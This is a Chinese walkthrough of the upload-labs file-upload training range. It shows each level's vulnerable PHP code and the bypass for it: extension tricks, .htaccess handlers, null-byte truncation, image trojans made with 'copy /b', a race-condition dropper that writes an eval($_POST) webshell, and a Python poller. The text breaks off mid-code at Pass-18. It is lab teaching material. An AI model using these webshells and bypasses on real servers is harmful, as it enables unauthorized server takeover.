攻略秘籍
目录
- 前言
- 漏洞分类
- 准备环境
- Pass-01-js检查
- Pass-02-验证Content-type
- Pass-03-黑名单-上传特殊的可解析后缀名
- Pass-04-黑名单-.htaccess
- Pass-05-黑名单-大小写绕过
- Pass-06-黑名单-空格绕过
- Pass-07-黑名单-点绕过
- Pass-08-黑名单-::$DATA绕过
- Pass-09-黑名单-点空格点绕过
- Pass-10-黑名单-双写绕过
- Pass-11-白名单-%00截断
- Pass-12-白名单-0x00截断
- Pass-13-检查内容-文件头检查-图片马
- Pass-14-检查内容-getimagesize()-图片马
- Pass-15-检查内容-exif_imagetype()-图片马
- Pass-16-检查内容-二次渲染绕过
- Pass-17-代码逻辑-条件竞争
- Pass-18-代码逻辑-条件竞争-白名单-Apache陌生后缀解析漏洞
- Pass-19-黑名单-0x00截断
- Pass-20-数组绕过
前言
个人观点,若有误请指教
漏洞分类
- 这里没使用到是:Apache换行解析漏洞。
- 这里在提一嘴:%00截断和0x00截断是一样的(0x00就是%00解码成的16进制)。换句话说%00用于GET,而0x00用于POST。
- 最后说明一下: 通关的方法并不唯一!!!
准备环境
-
下载phpstudy软件及搭建upload靶场,这里提供集成压缩包下载(链接:https://pan.baidu.com/s/1g3-aEtCP-lLCdOxuwzD6RA
提取码:l3li)。下载完成后解压,根据使用说明.txt文件进行操作。操作完成启动phpstudy后,直接访问http://localhost/index.php即可。
注:来自https://github.com/c0ny1/upload-labs/releases/tag/0.1 -
下载Burp Suite。(自寻网上教程)
-
下载中国菜刀。(自寻网上教程)
-
一句话木马文件。(根据菜刀软件进行创建即可,这里给出通关时所使用的文件)
Pass-01-js检查
-
在前端进行判断文件名后缀是否合理:若合理则提交给后端(不再进行验证,无条件信任前端传递的信息);若不合理则不再提交给后端(使用Burp是抓不到包的,因为浏览器直接解决了,没发出包)。
-
源码:
function checkFile() {
//获得上传的第一个文件名(不过这里好像只允许上传一个文件)
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
-
解决思路:在请求Pass-01页面时,使用Burp拦截响应包,删除里面的js代码后再转发给客户端(浏览器)。这是再提交不合理的文件后缀名,就可以直接发给后端了。(因为过滤的js代码被删除了)
-
实际操作(第一关给出的上传和菜刀的图片[第一张和最后两张],将不在后面的关卡中给出):
Pass-02-验证Content-type
- 互联网媒体类型(Internet Media Type)也叫做MIME类型。而在Http协议消息头中,使用Content-Type来表示具体请求中的媒体类型信息。下面给出常见的Content-Type:
值 | 代表含义 |
---|---|
text/html | HTML格式 |
text/plain | 纯文本格式 |
text/xml | XML格式 |
image/gif | gif图片格式 |
image/jpeg | jpg图片格式 |
image/png | png图片格式 |
application/json | JSON数据格式 |
application/pdf | pdf格式 |
application/msword | Word文档格式 |
application/octet-stream | 二进制流数据(如常见的文件下载) |
application/x-www-form-urlencoded | <form encType=””> 中默认的encType,form表单数据被编码为key/value格式发送到服务器(表单默认的提交数据的格式),应用于表单 |
application/xhtml+xml | XHTML格式 |
application/xml | XML数据格式 |
application/atom+xml | Atom XML聚合格式 |
multipart/form-data | 当在表单中需要上传文件的时候一定要使用这个 |
- 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
//file_exists() 函数检查文件或目录(文件夹)是否存在。这里判断upload是否被创建了
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
//新位置,upload下没有file文件名则自动创建。
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
//将file移动到path中,若成功则true,否则反之。
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
-
解决思路:观看源码,可以得知后端只检查http报文中的Content-type类型,所以可以通过拦截报文,修改Content-type类型,以到达一句话木马文件成功上传。如无法理解$_FILES,可观看https://blog.csdn.net/weixin_46962006/article/details/121044595
-
具体实操:
Pass-03-黑名单-上传特殊的可解析后缀名
- 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
-
解决思路:黑名单为只要没有被不允许都可以通过。而$deny_ext指定了不允许的名单,那我们可以直接修改其后缀名进行上传(将webshell.php改成webshell.php3)。当访问URL地址/webshell.php3时,服务器响应的报文会给Content-Type的值赋为text/html,以便浏览器进行解析。服务器之所以会这么做是因为在httpd-conf已经配置把php3当成php文件进行处理。若没有这样的配置,则响应的报文是不会包含Content-Type,浏览器也不会去解析(因为不知道这么解析),浏览器会直接把文件的内容打印出来。通俗来讲:服务器认为php3是php文件,发出的报文也是以php文件格式来送,浏览器收到后也只能以php文件进行解析。
-
具体实操:
没什么好实操的,右键改个文件名后缀总会吧!!!
Pass-04-黑名单-.htaccess
- 源码:
is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
- 这里其实也是黑名单,但还是忘记过滤掉htaccess文件。.htaccess简单创建:https://jingyan.baidu.com/article/c74d600082eb280f6a595d18.html
//使用.htaccess文件是有前提条件的,其条件为mod_rewrite模块开启和AllowOverride All,也就是在httpd-conf中要出现下面两条语句。
AllowOverride All
LoadModule rewrite_module modules/mod_rewrite.so
//.htaccess文件内容(把FilesMatch标签去掉也行,去掉的话就是所有文件都会变当成php文件)
<FilesMatch "webshell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
- 具体实操:
也没有什么好实操的,先上传.htaccess文件再上传webshell.jpg文件。
Pass-05-黑名单-大小写绕过
- 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
-
解决思路:可以看出该源码的黑名单数组只对中间H的大小写进行拉黑,而没有对php可能的所有大小写进行拉黑,那么就可以通过windows对大小写不敏感上传webshell.Php文件,在windows系统看来Php和php文件是一致。
注意:Linux是对大小写敏感的,但可以配置。(很少人会将Linux设置成不敏感,也就是说该上传文件方式只适用于windows) -
具体实操
也没有什么好实操的,改个文件名直接上传就好了。
Pass-06-黑名单-空格绕过
- 源码为:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
-
解决思路:可以看出来这里的黑名单很齐全而且大小写也在这里不起作用了(统一被转为小写了)。但还是少了空格的去除,所以可以将webshell.php改为webshell.php空格 ,以实现上传。不过在windows系统下创建xx.后缀名.和xx.后缀名空格,是不被允许的。(windows会默认自动的去去除末尾的点和空格)。这里通过Burp抓包进行修改。
-
具体实操:
Pass-07-黑名单-点绕过
- 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
-
解决思路:可以看出来这里的黑名单很齐全而且大小写也在这里不起作用了(统一被转为小写了)。但还是少了点的去除,所以可以将webshell.php改为webshell.php. ,以实现上传。不过在windows系统下创建xx.后缀名.和xx.后缀名空格,是不被允许的。(windows会默认自动的去去除末尾的点和空格)。这里通过Burp抓包进行修改。
-
具体实操:
Pass-08-黑名单-::$DATA绕过
- 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
-
解决思路:可以看出在php代码中没有对
::$DATA
进行过滤,这时可以利用windows的特性(只能在window系统使用)。在windows中会将文件名::$DATA
之后的数据当成文件流处理,保持::$DATA
之前的文件名。举个例子:假设上传的文件为test.php::$DATA.jpg
,如果成功上传到服务器就会去掉::$DATA.jpg
变成test.php进行保存。但是php代码中还通过strrchr函数获取文件后缀.jpg,并以该后缀作为上传之后的文件后缀,所以test.php::$DATA.jpg上传到服务器后缀仍然是.jpg。这里通过Burp抓包来修改。 -
具体实操:
访问的时候记得去掉::$data(如:http://172.16.38.128/upload/202111181307318464.php)
Pass-09-黑名单-点空格点绕过
- 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
- 解决思路:在源码
$img_path = UPLOAD_PATH.'/'.$file_name;
中可以看出,该关与其他关不同的在于删除了点后的就直接拼接了(关键之处)。可以通过.空格.进行绕过(为了看得更清楚空格用g表示)。
$file_name = trim($_FILES['upload_file']['name']); //webshell.php.g.
$file_name = deldot($file_name);//删除文件名末尾的点 webshell.php.g
$file_ext = strrchr($file_name, '.'); //.g
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
- 具体实操:
Pass-10-黑名单-双写绕过
- 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
-
解决思路:通过源码可以得知,只要出现在数组中的文件后缀名都会被替换成空。但可以通过pphphp绕过,因为str_ireplace函数只向左(右)的方向扫一次,不会来回扫。
-
具体实操:
也没有什么好实操的,改个文件后缀名直接上传就好了。
Pass-11-白名单-%00截断
- 源码:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
-
解决思路:该关为白名单。由于
$_GET['save_path']
是直接拼接,没有进行检查,所以可以通过%00绕过(%00是一个字符串结束的标志,相当于一个注释符,把后面的都注释掉了)。前提条件是:PHP的版本要小于等于5.3.4和在php.ini文件中magic_quotes_gpc=Off。 -
具体实操 :
Pass-12-白名单-0x00截断
- 源码:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
-
解决思路:该关为白名单。由于
$_POST['save_path']
是直接拼接,没有进行检查,所以可以通过%00绕过(因为是post提交,所以要改一下二进制)。前提条件是:PHP的版本要小于等于5.3.4和在php.ini文件中magic_quotes_gpc=Off。 -
具体实操 :
在webshell.php%00这里,后面不一定要加%00,之所以加这个是为了更好的和%00截断融合在一起。这里主要是要在截断的位置加一个二进制0(0x00),也就是说图二是关键。
Pass-13-检查内容-文件头检查-图片马
- 源码:
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin); //从二进制字符串对数据进行解包(C表示没有符号位)
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']); //进行拼接变成数字
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
-
解决思路:通过读文件的前2个字节判断文件类型,因此直接上传图片马(不要将一句话木马放在开头就行了)即可。制作图片马:①将图片和木马文件放在同一目录下;②在该目录下打开cmd;③输入命令
copy tupian.jpg /b + muma.php /a shell.jpg
,其中/b表示一个二进制文件、 +表示将多个文件合并成一个文件、/a表示一个ASCll文本文件。意思为将tupian.jpg文件和muma.php文件合并成一个文件,其文件名为shell.jpg。 -
具体实操:
下面产生的shell.jpg的文件头应该是png文件的文件头,源码应该会把其当成png文件。
-
测试图片马是否能正常运行(可以不进行,菜刀能连上即可):
将webshell.php的内容改成<?php @eval(phpinfo());?>,再进行一次合并文件。
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file; //将对应的文件内容包含过来并以php的语法进行解析
}else{
show_source(__file__);
}
?>
Pass-14-检查内容-getimagesize()-图片马
- 源码:
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
-
解决思路:通过getimagesize(同时是只读取文件的头几个字节进行判断)和image_type_to_extension获得文件后缀名,与规定的进行比较判断文件类型,因此直接上传图片马(不要将一句话木马放在开头就行了)即可。制作图片马:①将图片和木马文件放在同一目录下;②在该目录下打开cmd;③输入命令
copy tupian.jpg /b + muma.php /a shell.jpg
,其中/b表示一个二进制文件、 +表示将多个文件合并成一个文件、/a表示一个ASCll文本文件。意思为将tupian.jpg文件和muma.php文件合并成一个文件,其文件名为shell.jpg。 -
具体实操:
-
测试图片马是否能正常运行(可以不进行,菜刀能连上即可):
将webshell.php的内容改成<?php @eval(phpinfo());?>,再进行一次合并文件。
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file; //将对应的文件内容包含过来并以php的语法进行解析
}else{
show_source(__file__);
}
?>
Pass-15-检查内容-exif_imagetype()-图片马
- 源码:
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
-
通过exif_imagetype(需开启php_exif模块,同时是只读取文件的头几个字节进行判断)来判断文件类型,因此直接上传图片马(不要将一句话木马放在开头就行了)即可。制作图片马:①将图片和木马文件放在同一目录下;②在该目录下打开cmd;③输入命令
copy tupian.jpg /b + muma.php /a shell.jpg
,其中/b表示一个二进制文件、 +表示将多个文件合并成一个文件、/a表示一个ASCll文本文件。意思为将tupian.jpg文件和muma.php文件合并成一个文件,其文件名为shell.jpg。 -
具体实操:
-
测试图片马是否能正常运行(可以不进行,菜刀能连上即可):
将webshell.php的内容改成<?php @eval(phpinfo());?>,再进行一次合并文件。
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file; //将对应的文件内容包含过来并以php的语法进行解析
}else{
show_source(__file__);
}
?>
Pass-16-检查内容-二次渲染绕过
- 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
-
解决思路:可以将上传普通的图片,然后将其下载下来,在十六进制编辑软件(winhex等软件)比较两个文件,查看服务器生成的图片到达那里修改了,那里没修改。在没修改的对应位置加入一句话木马,再次上传即可。
注意:三种文件的绕过是有所区别的,这里使用最简单的gif图片马(其他的方式可以看一下:https://www.fujieace.com/penetration-test/upload-labs-pass-16.html)。 -
具体实操:
这里附上自己使用的图片:链接:https://pan.baidu.com/s/1vQrTxWiN_Kgtrn7ePrdi0A (提取码:ae2z)
将afterupload文件上传,用菜刀连接即可。
Pass-17-代码逻辑-条件竞争
- 源码:
is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
-
解决思路:这里会先把文件上传到服务器中,再进行判断是否满足后缀名的要求,不满足则删掉,满足则重新命名。这时,可以利用时间差,在其删除之前进行访问(通过Burp工具),通过访问创建真正的一句话木马文件。
-
具体实操:
创建temp.php文件,内容为:
<?php fputs(fopen('phpinfo.php','w'),'<?php @eval($_POST[\'ys\']);?>');?>
拦截下面两个网址的请求
拦截下来两个的请求都做以下操作
下面的python脚本用于判断木马文件是否被创建成功。
#注意:使用时记得删去注释,否则cmd窗口会一闪而过
import requests #第三方库
import os #为了让屏幕停留导入的库
url = "http://172.16.38.128/upload/phpinfo.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
os.system('pause') #停留
一切就绪,点击开始攻击和python脚本文件
Pass-18-代码逻辑-条件竞争-白名单-Apache陌生后缀解析漏洞
- 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
